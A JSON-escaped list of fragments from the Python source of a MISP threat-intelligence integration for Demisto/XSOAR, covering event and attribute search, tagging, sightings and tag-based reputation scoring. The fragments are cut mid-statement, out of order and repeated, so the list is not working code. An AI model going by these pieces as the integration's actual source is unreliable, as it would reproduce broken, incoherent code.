is_attribute_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag\",\n \"'category', 'type', 'to_ids', 'uuid', 'timestamp', 'distribution', 'sharing_group_id', 'comment', 'deleted', 'disable_correlation', 'first_seen', 'last_seen', 'value',\",\n \"url: {value} is not valid\\\") if dbot_type == 'EMAIL': if not re.compile(emailRegex, regexFlags).match(value):\",\n \"for tag in suspicious_tag_ids) if is_event_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag # no tag was\",\n \"valid\\\") if dbot_type == 'EMAIL': if not re.compile(emailRegex, regexFlags).match(value): raise DemistoException(f\\\"Error: The given\",\n \"number\\\") if limit and limit < 0: raise DemistoException(\\\"limit should be zero or\",\n \"= GenericObjectGenerator(template_name) misp_object.generate_attributes(args) return misp_object def misp_convert_timestamp_to_date_string(timestamp: Union[str, int]) -> str: \\\"\\\"\\\" Gets\",\n \"found_event_with_bad_threat_level_id(found_related_events): bad_threat_level_ids = [\\\"1\\\", \\\"2\\\", \\\"3\\\"] for event in found_related_events.values(): if event['Threat Level\",\n \"}) return event_highlights def search_events(demisto_args: dict) -> CommandResults: \\\"\\\"\\\" Execute a MISP search\",\n \"'RelatedEvent', 'Galaxy', 'Tag', 'decay_score', 'Object', 'Feed', ] ATTRIBUTE_FIELDS = [ 'id', 'event_id', 'object_id',\",\n \"list() # type: List[Dict[str, int]] for index, uri in enumerate(uri_list, 1): response =\",\n \"None for attribute in attributes_list: attribute.pop(\\\"RelatedAttribute\\\") # get rid of this useless list\",\n \"raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\\\"MISP.Attribute\\\", outputs_key_field=\\\"ID\\\" ) else: return CommandResults(readable_output=f\\\"No attributes found in MISP\",\n \"as malicious. - Attributes tags (both malicious and suspicious) are stronger than events'\",\n \"SIGHTING_TYPE_NAME_TO_ID = { 'sighting': 0, 'false_positive': 1, 'expiration': 2 } SIGHTING_TYPE_ID_TO_NAME = {\",\n \"= args.get('analysis') event.analysis = MISP_ANALYSIS_TO_IDS.get(analysis_arg) if analysis_arg in MISP_ANALYSIS_TO_IDS else analysis_arg event.info =\",\n \"get_new_misp_event_object(args): \\\"\\\"\\\" Create a new MISP event object and set the event's details.\",\n \"is_attribute (bool): if the given UUID is an attribute's one. Otherwise it's event's.\",\n \"will remove tag to given UUID of event or attribute. is_attribute (bool): if\",\n \"for example) Args: event_id (int): Event ID to add attribute to internal (bool):\",\n \"MISP for the given filters: {args}\\\") def delete_event(demisto_args: dict): \\\"\\\"\\\" Gets an event\",\n \"response.get('message'): raise DemistoException(f\\\"An error was occurred: {response.get('message')}\\\") elif response.get('Sighting'): human_readable = f'Sighting \\\\'{sighting_type}\\\\'\",\n \"misp event id 'type': demisto_args.get('type', 'other'), 'category': demisto_args.get('category', 'External analysis'), 'to_ids': argToBoolean(demisto_args.get('to_ids', True)),\",\n \"and ';' as delimiter for operators. using the operators is optional. if 'demisto_query'\",\n \"'CIRCL': {'name': 'CIRCL OSINT Feed', 'url': 'https://www.circl.lu/doc/misp/feed-osint', 'format': 'misp', 'input': 'network'}, 'Botvrij.eu': {'name':\",\n \"formatted_attributes = replace_keys_from_misp_to_context_data(attributes) return formatted_attributes def build_galaxy_output(given_object): \\\"\\\"\\\"given_object is attribute or event, depends\",\n \"return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(event), raw_response=event ) def add_attribute(event_id: int = None,\",\n \"r\\\"([a-z¡-\\\\uffff0-9](?:[a-z¡-\\\\uffff0-9-]{0,61}\\\" \\\"[a-z¡-\\\\uffff0-9])?(?:\\\\\\\\.(?!-)[a-z¡-\\\\uffff0-9-]{1,63}(?<!-))*\\\" \\\"\\\\\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\\\" \\\"|html)$)(?:[a-z¡-\\\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\\\\\.?$\\\" \\\"|localhost)\\\" ) MISP_SEARCH_ARGUMENTS = [ 'value', 'type', 'category', 'org',\",\n \"f'Sighting \\\\'{sighting_type}\\\\' has been successfully added to attribute {att_id}' return CommandResults(readable_output=human_readable) raise DemistoException(f\\\"An\",\n \"it is part of the event scope). If the data is attribute's (is_event_level\",\n \"be a positive integer, please change the given: '{tag}' id.\\\") except ValueError: raise\",\n \"{value} is not valid\\\") if dbot_type == 'EMAIL': if not re.compile(emailRegex, regexFlags).match(value): raise\",\n \"= response_object.get('Attribute') return get_limit_attribute_search_outputs(attributes) def get_limit_attribute_search_outputs(attributes): for i in range(len(attributes)): attributes[i] = {key:\",\n \"which made the indicator to get that score found_related_events (dict): contains info (name,\",\n \"in malicious_tag_ids) if is_event_tag_malicious: return Common.DBotScore.BAD, found_tag is_event_tag_suspicious = any((found_tag := tag) in\",\n \"value=domain) if text: obj.add_attribute('text', value=text) return add_object(event_id, obj) def add_url_object(demisto_args: dict): \\\"\\\"\\\"Building url\",\n \"= attribute.get('Event', {}) attribute_tags = [tag.get('Name') for tag in attribute.get('Tag')] if attribute.get( 'Tag')\",\n \"5 } SIGHTING_TYPE_NAME_TO_ID = { 'sighting': 0, 'false_positive': 1, 'expiration': 2 } SIGHTING_TYPE_ID_TO_NAME\",\n \"} return obj_to_build def reputation_command_to_human_readable(outputs, score, events_to_human_readable): found_tag_id, found_tag_name = \\\"\\\", \\\"\\\" for\",\n \"and search if found_tag is one of it's tags. If so, the event\",\n \"parsed outputs to context data (array of attributes). score: the indicator score found_tag:\",\n \"parameters and ';' as delimiter for operators. using the operators is optional. if\",\n \"found_related_events[event.get(\\\"id\\\")] = {\\\"Event Name\\\": event.get(\\\"info\\\"), \\\"Threat Level ID\\\": event.get('threat_level_id'), \\\"Event ID\\\": event.get(\\\"id\\\")} if\",\n \"score, found_tag, found_related_events = parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit) dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=score,\",\n \"new_event: MISPEvent = None): \\\"\\\"\\\"Adding attribute to a given MISP event object This\",\n \"attributes_list: return None for attribute in attributes_list: attribute.pop(\\\"RelatedAttribute\\\") # get rid of this\",\n \"demisto_args.get('comment'), 'value': demisto_args.get('value') } event_id = event_id if event_id else arg_to_number(demisto_args.get('event_id'), \\\"event_id\\\") attributes_args.update({'id':\",\n \"event_tags, 'Event Galaxies': event_galaxies, 'Event Objects': event_objects, 'Publish Timestamp': event.get('PublishTimestamp'), 'Event Info': event.get('Info'),\",\n \"the context output format. \\\"\\\"\\\" response_object = copy.deepcopy(response) if include_correlations: # return full\",\n \"that got in \\\"\\\"\\\" if isinstance(obj_to_build, list): return [replace_keys_from_misp_to_context_data(item) for item in obj_to_build]\",\n \"was added to MISP.', events_ids) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=events_ids, ) except\",\n \"(name, id, threat level id) about all the events that include the indicator\",\n \"obj_to_build] if isinstance(obj_to_build, dict): return { (MISP_ENTITIES_TO_CONTEXT_DATA[key] if key in MISP_ENTITIES_TO_CONTEXT_DATA else key):\",\n \"Tag ids should be recognised as suspicious reliability (DBotScoreReliability): integration reliability score. attributes_limit\",\n \"response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return [attribute.get('value') for attribute in attributes] def\",\n \"[]) if event_galaxies: return [galaxy.get('Name') for galaxy in event.get('Galaxy')] def event_to_human_readable_object_list(event): event_objects =\",\n \"'Events with the scored tag': events_to_human_readable, 'Scored Tag ID': found_tag_id, 'Scored Tag Name':\",\n \"True, will not post results to Demisto demisto_args (dict): Demisto args new_event (MISPEvent):\",\n \"parsed response from the MISP search attribute request found_tag (str): The tag that\",\n \"args_to_misp_format['include_sightings'] = 1 if demisto_args.get('include_sightings') == 'true' else 0 if 'include_correlations' in args_to_misp_format:\",\n \"else 0 args_to_misp_format.pop('include_feed_correlations') if 'limit' not in args_to_misp_format: args_to_misp_format['limit'] = '50' if 'tags'\",\n \"build_galaxy_output(events[i]) build_tag_output(events[i]) build_object_output(events[i]) events[i]['timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('timestamp')) events[i]['publish_timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp')) formatted_events = replace_keys_from_misp_to_context_data(events) #\",\n \"elif command == 'misp-add-file-object': return_results(add_file_object(args)) elif command == 'misp-add-domain-object': return_results(add_domain_object(args)) elif command ==\",\n \"'8.8.8.8'}, {'domain': 'google.com'}] \\\"\\\"\\\" return [{k: v} for k, v in args.items()] def\",\n \"attrubite will be added to that existing event. \\\"\\\"\\\" attributes_args = { 'id':\",\n \"= [ {'Name': tag.get('name'), 'is_galaxy': tag.get('is_galaxy') } for tag in given_object.get('Tag') ] def\",\n \"DemistoException(attribute_instance_response.get('errors')) human_readable = f\\\"## MISP update attribute\\\\nAttribute: {attribute_uuid} was updated.\\\\n\\\" attribute = attribute_instance_response.get('Attribute')\",\n \"events objects. Note: When limits the attributes amount, we sort the attributes list\",\n \"event_id: ID of event \\\"\\\"\\\" response = PYMISP.add_object(event_id, misp_object=obj) if 'errors' in response:\",\n \"their event's threat level id. In such case, the score will be BAD\",\n \"attribute level if not is_event_tag: tag_set_ids.add(tag_id) output.append({'ID': tag_id, 'Name': tag.get('name')}) return output, tag_set_ids\",\n \"[ { 'name': star.get('name'), 'type': star.get('type'), 'description': star.get('description') } for star in given_object['Galaxy']\",\n \"= {tag_id for tag_id in suspicious_tag_ids if tag_id not in common_ids} return malicious_tag_ids,\",\n \"return Common.DBotScore.SUSPICIOUS, found_tag is_event_tag_malicious = any((found_tag := tag) in event_tags_ids for tag in\",\n \"event for example) Args: event_id (int): Event ID to add attribute to internal\",\n \"events that have the tag (i.e found_tag) which caused the indicator to be\",\n \"None): \\\"\\\"\\\"Adding attribute to a given MISP event object This function can be\",\n \"if 'errors' in response: raise DemistoException(f'Event ID: {event_id} has not found in MISP:\",\n \"# mandatory arg att_id = attribute_id or attribute_uuid if not att_id: raise DemistoException('ID\",\n \"keys in event_args events[i] = {key: events[i].get(key) for key in EVENT_FIELDS if key\",\n \"attributes_limit)) elif command == 'ip': return_results( generic_reputation_command(args, 'ip', 'IP', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit))\",\n \"dict, attribute_uuid: str) -> MISPAttribute: attribute_type = demisto_args.get('type') distribution = demisto_args.get('distribution') category =\",\n \"it's dbot score. The score is calculated by the tags ids (attribute tags\",\n \"ids as the greater event ids are the newer ones. Returns: response (dict):\",\n \"in event['Object'] ] def build_tag_output(given_object): \\\"\\\"\\\"given_object is attribute or event, depends on the\",\n \"the original input \\\"\\\"\\\" regex_and = r'(AND:)([^\\\\;]+)(;)?' regex_or = r'(OR:)([^\\\\;]+)(;)?' regex_not = r'(NOT:)([^\\\\;]+)(;)?'\",\n \"Args: demisto_query: complex query contains saved words: 'AND:', 'OR:' and 'NOT:' using ','\",\n \"re.MULTILINE) match_not = re.search(regex_not, demisto_query, re.MULTILINE) is_complex_and_operator = is_misp_complex_search_helper(match_and, misp_query_params, 'and_parameters') is_complex_or_operator =\",\n \"add_attribute(event_id: int = None, internal: bool = False, demisto_args: dict = {}, new_event:\",\n \"'limit', 'page', 'enforceWarninglist', 'include_feed_correlations', ] EVENT_FIELDS = [ 'id', 'orgc_id', 'org_id', 'date', 'threat_level_id',\",\n \"demisto_args.get('name') obj = MISPObject('domain-ip') ips = argToList(demisto_args.get('ip')) for ip in ips: obj.add_attribute('ip', value=ip)\",\n \"in attribute.get('Tag')] if attribute.get( 'Tag') else None attribute_sightings = [SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')] for sighting in\",\n \"API key and the URL are correct\\\" in error: return_error('Unable to connect to\",\n \"build_object_output(events[i]) events[i]['timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('timestamp')) events[i]['publish_timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp')) formatted_events = replace_keys_from_misp_to_context_data(events) # type: ignore\",\n \"for star in given_object['Galaxy'] ] def build_object_output(event): if event.get('Object'): event['Object'] = [ {\",\n \"None attributes_list = sorted(attributes_list, key=lambda attribute_item: attribute_item['event_id'], reverse=True)[:attributes_limit] found_related_events, attributes_tag_ids, event_tag_ids = prepare_attributes_array_to_context_data(attributes_list)\",\n \"\\\"\\\"\\\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try: response = PYMISP.untag(uuid, tag) if\",\n \"attribute_highlights = attribute_response_to_markdown_table(response_for_context) pagination_message = f\\\"Current page size: {limit}\\\\n\\\" if len(response_for_context) == limit:\",\n \"= misp_convert_timestamp_to_date_string(event.get('timestamp')) if event.get('publish_timestamp'): attribute['Event']['publish_timestamp'] = misp_convert_timestamp_to_date_string( event.get('publish_timestamp')) def found_event_with_bad_threat_level_id(found_related_events): bad_threat_level_ids = [\\\"1\\\",\",\n \"'event_uuids': 'EventUUIDS', } MISP_ANALYSIS_TO_IDS = { 'initial': 0, 'ongoing': 1, 'completed': 2 }\",\n \"\\\"\\\"\\\" Replacing keys from MISP's format to Demisto's (as appear in ENTITIESDICT) Args:\",\n \"requests.Response]) -> dict: \\\"\\\"\\\" Convert the response of event search returned from MISP\",\n \"key=lambda attribute_item: attribute_item['event_id'], reverse=True)[:attributes_limit] found_related_events, attributes_tag_ids, event_tag_ids = prepare_attributes_array_to_context_data(attributes_list) attribute_in_event_with_bad_threat_level = found_event_with_bad_threat_level_id(found_related_events) score,\",\n \"an event's tag. Otherwise (if it is set to 0 or not exists)\",\n \"parsed output in test_data/reputation_command_outputs.json \\\"\\\"\\\" response = copy.deepcopy(misp_response) attributes_list = response.get('Attribute') if not\",\n \"inherited. When it is set to 1 it says that it is an\",\n \"page = arg_to_number(demisto_args.get('page', 1), \\\"page\\\", required=True) limit = arg_to_number(demisto_args.get('limit', 50), \\\"limit\\\", required=True) pagination_args_validation(page,\",\n \"include_correlations) attribute_highlights = attribute_response_to_markdown_table(response_for_context) pagination_message = f\\\"Current page size: {limit}\\\\n\\\" if len(response_for_context) ==\",\n \"optional. if 'demisto_query' does not contains any of the complex operators the original\",\n \"params.get('url') VERIFY = not params.get('insecure') PROXIES = handle_proxy() # type: ignore try: PYMISP\",\n \"common_ids} return malicious_tag_ids, suspicious_tag_ids def is_tag_list_valid(tag_ids): \\\"\\\"\\\"Gets a list ot tag ids (each\",\n \"ID': event.get('OwnerOrganization.ID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID'), }) return event_highlights def search_events(demisto_args:\",\n \"object This function can be called as an independence command or as part\",\n \"event_id = event_id if event_id else arg_to_number(demisto_args.get('event_id'), \\\"event_id\\\") attributes_args.update({'id': event_id}) if event_id else\",\n \"params.get('credentials', {}).get('password')): raise DemistoException('Missing API Key. Fill in a valid key in the\",\n \"event ids as the greater event ids are the newer ones. Returns: response\",\n \"existing event. \\\"\\\"\\\" attributes_args = { 'id': demisto_args.get('event_id'), # misp event id 'type':\",\n \"{ 'FILE': DBotScoreType.FILE, 'URL': DBotScoreType.URL, 'DOMAIN': DBotScoreType.DOMAIN, 'IP': DBotScoreType.IP, 'EMAIL': DBotScoreType.EMAIL, } DOMAIN_REGEX\",\n \"event ids are the newer ones. Returns: response (dict): The parsed outputs to\",\n \"malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'ip': return_results( generic_reputation_command(args, 'ip', 'IP', malicious_tag_ids,\",\n \"= MISPSighting() sigh_obj.from_dict(**sighting_args) response = PYMISP.add_sighting(sigh_obj, att_id) if response.get('message'): raise DemistoException(f\\\"An error was\",\n \"search using the 'event' controller. \\\"\\\"\\\" args = prepare_args_to_search('events') page = arg_to_number(demisto_args.get('page', 1),\",\n \"are event's ones. Otherwise, the data is attribute's (attribute tags). \\\"\\\"\\\" output =\",\n \"event's. \\\"\\\"\\\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try: response = PYMISP.untag(uuid, tag)\",\n \"CommandResults(readable_output=human_readable, raw_response=response) def add_tag(demisto_args: dict, is_attribute=False): \\\"\\\"\\\" Function will add tag to given\",\n \"events_to_human_readable): found_tag_id, found_tag_name = \\\"\\\", \\\"\\\" for event in events_to_human_readable: # removing those\",\n \"key, value in obj_to_build.items() } return obj_to_build def reputation_command_to_human_readable(outputs, score, events_to_human_readable): found_tag_id, found_tag_name\",\n \"reputation_value_validation(value, dbot_type): if dbot_type == 'FILE': # hashFormat will be used only in\",\n \"else 0 if 'include_sightings' in args_to_misp_format: args_to_misp_format['include_sightings'] = 1 if demisto_args.get('include_sightings') == 'true'\",\n \"tag) in event_tags_ids for tag in malicious_tag_ids) if is_event_tag_malicious: return Common.DBotScore.BAD, found_tag is_event_tag_suspicious\",\n \"has been successfully added to event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response),\",\n \"object Returns: GenericObjectGenerator: object created in MISP Example: args should look like: [{'analysis_submitted_at':\",\n \"\\\"\\\"\\\" This function searches for all the events that have the tag (i.e\",\n \"= argToList(demisto_args.get(reputation_type), ',') command_results = [] for value in reputation_value_list: command_results.append( get_indicator_results(value, dbot_type,\",\n \"'first_seen': 'first_seen', 'last_seen': 'last_seen', 'provider': 'Provider', 'source_format': 'SourceFormat', 'url': 'URL', 'event_uuids': 'EventUUIDS', }\",\n \"query found returns the original input \\\"\\\"\\\" regex_and = r'(AND:)([^\\\\;]+)(;)?' regex_or = r'(OR:)([^\\\\;]+)(;)?'\",\n \"in attributes[i]} build_galaxy_output(attributes[i]) build_tag_output(attributes[i]) build_sighting_output_from_attribute_search_response(attributes[i]) convert_timestamp_to_readable(attributes[i], None) formatted_attributes = replace_keys_from_misp_to_context_data(attributes) return formatted_attributes def\",\n \"demisto_args.get('category') comment = demisto_args.get('comment') value = demisto_args.get('value') first_seen = demisto_args.get('first_seen') last_seen = demisto_args.get('last_seen')\",\n \"event_tags] def event_to_human_readable_galaxy_list(event): event_galaxies = event.get('Galaxy', []) if event_galaxies: return [galaxy.get('Name') for galaxy\",\n \"attribute. is_attribute (bool): if the given UUID is an attribute's one. Otherwise it's\",\n \"The indicator value (an IP address, email address, domain, url or file hash).\",\n \"'Unknown': raise DemistoException('Invalid hash length, enter file hash of format MD5, SHA-1 or\",\n \"Convert the response of attribute search returned from MISP to the context output\",\n \"If there is an id that exists in both sets, it will be\",\n \"\\\"\\\"\\\" response_object = copy.deepcopy(response) if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) events = [event.get('Event')\",\n \"url, domain, email or ip). malicious_tag_ids (set): Tag ids should be recognised as\",\n \"'first_seen', 'last_seen', 'value', 'Event', 'Object', 'Galaxy', 'Tag', 'decay_score', 'Sighting', ] def extract_error(error: list)\",\n \"search-events returned {len(response_for_context)} events.\\\\n {pagination_message}\\\", event_outputs_to_human_readable, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\\\"MISP.Event\\\",\",\n \"change the given: '{tag}' id.\\\") except ValueError: raise DemistoException(f\\\"Tag id has to be\",\n \"search_attributes(demisto_args: dict) -> CommandResults: \\\"\\\"\\\"Execute a MISP search over 'attributes'\\\"\\\"\\\" args = prepare_args_to_search('attributes')\",\n \"= None, internal: bool = False, demisto_args: dict = {}, new_event: MISPEvent =\",\n \"to an attribute we would like to add it to tag_set_ids. In any\",\n \"f\\\"Error: An event with the given id: {event_id} was not found in MISP.\",\n \"e: handle_connection_errors(e.message) PREDEFINED_FEEDS = { 'CIRCL': {'name': 'CIRCL OSINT Feed', 'url': 'https://www.circl.lu/doc/misp/feed-osint', 'format':\",\n \"'url': 'https://www.circl.lu/doc/misp/feed-osint', 'format': 'misp', 'input': 'network'}, 'Botvrij.eu': {'name': 'The Botvrij.eu Data', 'url': 'http://www.botvrij.eu/data/feed-osint',\",\n \"to be a positive number.') response = PYMISP._prepare_request('GET', 'servers/getPyMISPVersion.json') if PYMISP._check_json_response(response): return 'ok'\",\n \"event_objects, 'Publish Timestamp': event.get('PublishTimestamp'), 'Event Info': event.get('Info'), 'Event Org ID': event.get('OrganizationID'), 'Event Orgc\",\n \"as suspicious will be scored 2 (i.e suspicious). * don't have any tags\",\n \"if 'type' in args_to_misp_format: args_to_misp_format['type_attribute'] = args_to_misp_format.pop('type') if 'to_ids' in args_to_misp_format: args_to_misp_format['to_ids'] =\",\n \"{'Accept': 'application/json'} url = build_feed_url(demisto_args) osint_url = f'{url}/manifest.json' limit = arg_to_number(demisto_args.get('limit', 2), \\\"limit\\\",\",\n \"events_ids) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=events_ids, ) except ValueError as e: raise\",\n \"a tag that was configured to be malicious is stronger than recognised as\",\n \"'Event Organization ID': event.get('OrganizationID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID') }) return attribute_highlights\",\n \"command_results.append( get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) return command_results def reputation_value_validation(value, dbot_type): if\",\n \"attributes] def pagination_args_validation(page, limit): if page and page < 0: raise DemistoException(\\\"page should\",\n \"# event's uuid response = PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has been successfully\",\n \"command are {args_to_misp_format}\\\") return args_to_misp_format def build_attributes_search_response(response: Union[dict, requests.Response], include_correlations=False) -> dict: \\\"\\\"\\\"\",\n \"list(found_related_events.values())) return CommandResults(indicator=indicator, raw_response=misp_response, outputs=all_attributes, outputs_prefix='MISP.Attribute', outputs_key_field='ID', readable_output=readable_output) else: dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type,\",\n \"= {arg: demisto_args[arg] for arg in MISP_SEARCH_ARGUMENTS if arg in demisto_args} # Replacing\",\n \"a NewConnectionError, ' 'Please make sure your MISP server url is correct.') if\",\n \"formatted_response = replace_keys_from_misp_to_context_data({'Attribute': attributes_list}) return formatted_response, score, found_tag, found_related_events def prepare_attributes_array_to_context_data(attributes_list): attributes_tag_ids, event_tag_ids\",\n \"found_tag, found_related_events def prepare_attributes_array_to_context_data(attributes_list): attributes_tag_ids, event_tag_ids = set(), set() found_related_events = {} if\",\n \"[event.get('Event') for event in response_object] for i in range(0, len(events)): # Filter object\",\n \"returns set of the found tag ids. Some tags have a field called\",\n \"create event command, the attrubite will be added to that existing event. \\\"\\\"\\\"\",\n \"dbot_score=dbot_score) if dbot_type == \\\"URL\\\": return Common.URL(url=value, dbot_score=dbot_score) def build_misp_complex_filter(demisto_query: str): \\\"\\\"\\\" Examples\",\n \"keys from MISP's format to Demisto's (as appear in ENTITIESDICT) Args: obj_to_build (Union[dict,\",\n \"attribute \\\"\\\"\\\" attribute_id = demisto_args.get('id') attribute_uuid = demisto_args.get('uuid') sighting_type = demisto_args['type'] # mandatory\",\n \"else None url_obj.extend(convert_arg_to_misp_args(demisto_args, url_args)) g_object = build_generic_object('url', url_obj) return add_object(event_id, g_object) def add_generic_object_command(demisto_args:\",\n \"we won't add the tag. Args: attribute_dict (dict): The dictionary that includes the\",\n \"first_seen = demisto_args.get('first_seen') last_seen = demisto_args.get('last_seen') attribute_instance = MISPAttribute() attribute_instance.uuid = attribute_uuid if\",\n \"to a given MISP event object This function can be called as an\",\n \"to connect to MISP because of a NewConnectionError, ' 'Please make sure your\",\n \"is_complex_or_operator or is_complex_not_operator if is_complex_search: return PYMISP.build_complex_query(**misp_query_params) return demisto_query def is_misp_complex_search_helper(match_operator, misp_query_params, operator_key):\",\n \"tag) in attribute_tags_ids for tag in suspicious_tag_ids) if is_attribute_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag is_event_tag_malicious\",\n \"misp_attributes_args.append({'text': demisto_args.get('comment')}) if demisto_args.get('comment') else None obj = build_generic_object('ip-port', misp_attributes_args) return add_object(event_id, obj)\",\n \"tag in tag_ids: try: tag = int(tag) if tag <= 0: raise DemistoException(f\\\"Tag\",\n \"in attributes] def pagination_args_validation(page, limit): if page and page < 0: raise DemistoException(\\\"page\",\n \"tag in tags_list: is_event_tag = tag.get('inherited', 0) # field doesn't exist when this\",\n \"attributes amount to the given limit) and by sub-functions calculated the score of\",\n \"PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag} has been successfully added to attribute {uuid}'\",\n \"is only related to an attribute we would like to add it to\",\n \"as suspicious nor malicious will be scored by their event's threat level id.\",\n \"analysis'), 'to_ids': argToBoolean(demisto_args.get('to_ids', True)), 'comment': demisto_args.get('comment'), 'value': demisto_args.get('value') } event_id = event_id if\",\n \"given_object['Tag'] = [ {'Name': tag.get('name'), 'is_galaxy': tag.get('is_galaxy') } for tag in given_object.get('Tag') ]\",\n \"\\\"\\\"\\\" Calculates the indicator score by following logic. Indicators of attributes and Events\",\n \"the event's details. \\\"\\\"\\\" event = MISPEvent() event.distribution = MISP_DISTRIBUTION_TO_IDS[args.get('distribution')] threat_level_id_arg = args.get('threat_level_id')\",\n \"return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(updated_event), raw_response=updated_event ) def generic_reputation_command(demisto_args, reputation_type, dbot_type, malicious_tag_ids,\",\n \"args.get('info') else 'Event from XSOAR' event.date = datetime.today() event.published = argToBoolean(args.get('published', 'False')) return\",\n \"UUID is an attribute's one. Otherwise it's event's. \\\"\\\"\\\" uuid = demisto_args.get('uuid') tag\",\n \"def add_tag(demisto_args: dict, is_attribute=False): \\\"\\\"\\\" Function will add tag to given UUID of\",\n \"if event_objects: return [event_object.get('ID') for event_object in event.get('Object')] def event_to_human_readable(response: dict): event_highlights =\",\n \"format. \\\"\\\"\\\" response_object = copy.deepcopy(response) if include_correlations: # return full related attributes only\",\n \"\\\"\\\"\\\" response = PYMISP.add_object(event_id, misp_object=obj) if 'errors' in response: raise DemistoException(f'Error in `{demisto.command()}`\",\n \"\\\"\\\"\\\" url_args = [ 'text', 'last_seen', 'first_seen' ] event_id = demisto_args.get('event_id') url =\",\n \"event object and set the event's details. \\\"\\\"\\\" event = MISPEvent() event.distribution =\",\n \"from create event command, the attrubite will be added to that existing event.\",\n \"attribute = attribute_instance_response.get('Attribute') convert_timestamp_to_readable(attribute, None) parsed_attribute_data = replace_keys_from_misp_to_context_data(attribute) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID',\",\n \"(url_parse.username, url_parse.password)}) if url_parse.username and url_parse.password else None url_obj.extend(convert_arg_to_misp_args(demisto_args, url_args)) g_object = build_generic_object('url',\",\n \"integration reliability score. attributes_limit (int) : Limits the number of attributes that will\",\n \"= tableToMarkdown(f\\\"MISP search-attributes returned {number_of_results} attributes\\\", response_for_context[:number_of_results], [\\\"Value\\\"]) else: response_for_context = build_attributes_search_response(response, include_correlations)\",\n \"Common.DBotScore(indicator=value, indicator_type=indicator_type, score=Common.DBotScore.NONE, reliability=reliability, malicious_description=\\\"No results were found in MISP\\\") indicator = get_dbot_indicator(dbot_type,\",\n \"dbot_type): if dbot_type == 'FILE': # hashFormat will be used only in output\",\n \"have the tag (i.e found_tag) which caused the indicator to be scored as\",\n \"= is_complex_and_operator or is_complex_or_operator or is_complex_not_operator if is_complex_search: return PYMISP.build_complex_query(**misp_query_params) return demisto_query def\",\n \"PYMISP.add_event(misp_new_event) event_object = add_event_response.get('Event') if event_object and 'id' in event_object: events_ids.append({'ID': event_object['id']}) if\",\n \"events_to_human_readable: # removing those fields as they are shared by the events found_tag_id\",\n \"'last_seen', 'value', 'Event', 'Object', 'Galaxy', 'Tag', 'decay_score', 'Sighting', ] def extract_error(error: list) ->\",\n \"search over 'attributes'\\\"\\\"\\\" args = prepare_args_to_search('attributes') outputs_should_include_only_values = argToBoolean(demisto_args.get('compact', False)) include_correlations = argToBoolean(demisto_args.get('include_correlations',\",\n \"to be a positive integer, please change the given: '{tag}' id.\\\") def create_updated_attribute_instance(demisto_args:\",\n \"else None url_obj.append( {'credential': (url_parse.username, url_parse.password)}) if url_parse.username and url_parse.password else None url_obj.extend(convert_arg_to_misp_args(demisto_args,\",\n \"command == 'misp-add-tag-to-attribute': return_results(add_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-remove-tag-from-event': return_results(remove_tag(args)) elif command ==\",\n \"= outputs.get('Attribute') events_to_human_readable = get_events_related_to_scored_tag(all_attributes, found_tag) attribute_highlights = reputation_command_to_human_readable(all_attributes, score, events_to_human_readable) readable_output =\",\n \"outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(updated_event), raw_response=updated_event ) def generic_reputation_command(demisto_args, reputation_type, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit):\",\n \"args_to_misp_format['enforceWarninglist'] = 1 if demisto_args.get('enforceWarninglist') == 'true' else 0 if 'include_feed_correlations' in args_to_misp_format:\",\n \"suspicious. If no tag was found, then the score is Unknown so no\",\n \"readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=formatted_response, ) def add_file_object(demisto_args: dict): entry_id = demisto_args.get('entry_id') event_id =\",\n \"file hash of format MD5, SHA-1 or SHA-256') if dbot_type == 'IP': if\",\n \"not attributes_list: return None attributes_list = sorted(attributes_list, key=lambda attribute_item: attribute_item['event_id'], reverse=True)[:attributes_limit] found_related_events, attributes_tag_ids,\",\n \"dbot_type == \\\"DOMAIN\\\": return Common.Domain(domain=value, dbot_score=dbot_score) if dbot_type == \\\"EMAIL\\\": return Common.EMAIL(address=value, dbot_score=dbot_score)\",\n \"str]): object to replace keys in Returns: Union[dict, list, str]: same object type\",\n \"for value in reputation_value_list: command_results.append( get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, 